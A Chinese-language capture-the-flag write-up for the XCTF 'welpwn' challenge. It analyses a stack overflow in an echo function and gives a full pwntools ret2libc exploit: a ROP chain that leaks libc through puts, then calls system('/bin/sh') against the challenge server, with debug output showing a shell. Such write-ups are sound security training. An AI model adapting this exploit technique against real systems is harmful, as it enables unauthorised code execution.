1:checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec welpwn
[*] '/home/hunter/PWN/XCTF/xctf_challenge/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位,开启NX防护
2:IDA
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
write(1, "Welcome to RCTF\n", 16uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo(&buf, &buf); // 传入buf地址
return 0;
}
这里buf距离RBP距离与read可以读入的大小相同,所以主函数不存在溢出
echo函数:
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i ) #这个for循环可以将buf中的字符逐个复制到数组s2中,截断条件是\x00
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) ) #这个if完全没必要进去,可能是提醒你注意复制过程的截断问题
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
没有system,binsh存在,只有puts,read,write等函数,没有后门。看来我们得想办法泄露libc地址了
3:思路
在主函数中buf可以容下0x400个字节,但无法溢出。在echo函数中会对buf无限制复制,到s2数组中,当然只要不出现\x00。所以要在main函数中好好构造payload。
在main函数中输入时:’A’16 + ‘A’8 + p64(destination).这就应该能跳转到我们的目的地址。我们要达到的目的是泄露某个函数真正的地址,从而获得libc版本,地址,进而获得system,binsh地址。
payload位置问题
这差不多是一个ret2libc问题,所以payload上构造的函数,参数少不了。那么问题是echo函数中只有一个大小为16的数组肯定,我们构造的payload的关键函数无法放在那里。那我们来看看栈的分布情况。
main函数全部的汇编
push rbp
mov rbp, rsp
sub rsp, 400h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, 10h ; n
mov esi, offset aWelcomeToRctf ; "Welcome to RCTF\n" #可以看到除了开始部分,下面的代码并没有改变RBP和RSP
mov edi, 1 ; fd
call _write
mov rax, cs:__bss_start
mov rdi, rax ; stream
call _fflush
lea rax, [rbp+buf]
mov edx, 400h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
mov rdi, rax
call echo
mov eax, 0
leave
retn
echo函数前部分汇编
var_18= qword ptr -18h
s2= byte ptr -10h
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 20h
mov [rbp+var_18], rdi
mov cs:i, 0
可以看到这两个函数的栈分布应该是很普通的:
我们在main函数中构造的payload,会被echo函数复制到它的栈空间,以此我们可以把返回地址覆盖成我们想要的,但只能复制一个地址。因为p64(地址)会出现\x00截断。不过通过这个设计漏洞我们可以控制程序流程。
流程控制问题
现在关键在于返回地址我们要覆盖成什么地址。我们知道在buf中前24个字符是padding,被复制给s2数组。下面就是我们覆盖地址。覆盖地址下面还可以构造函数,所以得返回到buf。
前面24个padding+一个地址 会占用4个栈帧,我们可以pop掉。
所以payload = ‘A’*24 + p64(pop_4_ret) + p64(pop_rdi_ret) + p64(got) +p64(puts_ptl) + p64(main)
pop 4次后程序就流会被p64(pop_rdi_ret) + p64(got) +p64(puts_ptl) + p64(main)控制,输出某一个函数的正真地址,这是第一次攻击,然后返回到main函数我们可以以类似的方式构造payload来 执行system binsh。
这里用puts来输出地址,没用write,因为找不到pop rdx 这个gadget。
一开始我就是卡在了如何把前面的padding pop掉的问题,没想到直接可以找一个pop4次的地址来跳转。
4:寻找gadgets
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary welpwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret #选这个保险没有涉及到关键寄存器
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret #这个要用来pop rdi参数
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd
5:EXP
我写的EXP巨丑
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('welpwn')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
print hex(libc_start_main_got)
print "puts_plt==>" + hex(puts_plt)
#gadgates
#0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
#0x00000000004008a3 : pop rdi ; ret
#0x0000000000400589 : ret #遇到system调用的堆栈平衡问题了
#sh = process('./welpwn')
sh = remote('220.249.52.133',41564)
sh.recv()
payload1 = 'A'*24 + p64(0x0040089c) +p64(0x04008a3) + p64(libc_start_main_got) + p64(0x4005a0) + p64(main) #第一次攻击
#payload = p64(0x00000000004008a3)
#gdb.attach(sh)
sh.sendline(payload1)
print sh.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAA')
print sh.recv(3)
libc_start_main = u64(sh.recv(6)+'\x00'+'\x00')
print hex(libc_start_main)
libc = LibcSearcher('__libc_start_main',libc_start_main)
libc_addr = libc_start_main - libc.dump('__libc_start_main')
print "libc_addr==>" + hex(libc_addr)
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
print sh.recv()
payload2 = 'A'*24 + p64(0x0040089c) +p64(0x04008a3) + p64(binsh_addr) #第二次攻击
payload2 += p64(0x0400589)
payload2 += p64(system_addr)
#gdb.attach(sh)
sh.sendline(payload2)
sh.interactive()
结果:
[DEBUG] Sent 0x41 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 9c 08 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000020 a3 08 40 00 00 00 00 00 9a 2e 4e 90 93 7f 00 00 │··@·│····│·.N·│····│
00000030 89 05 40 00 00 00 00 00 40 e4 37 90 93 7f 00 00 │··@·│····│@·7·│····│
00000040 0a │·│
00000041
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
这个题,漏洞在其他函数而payload构造在主函数。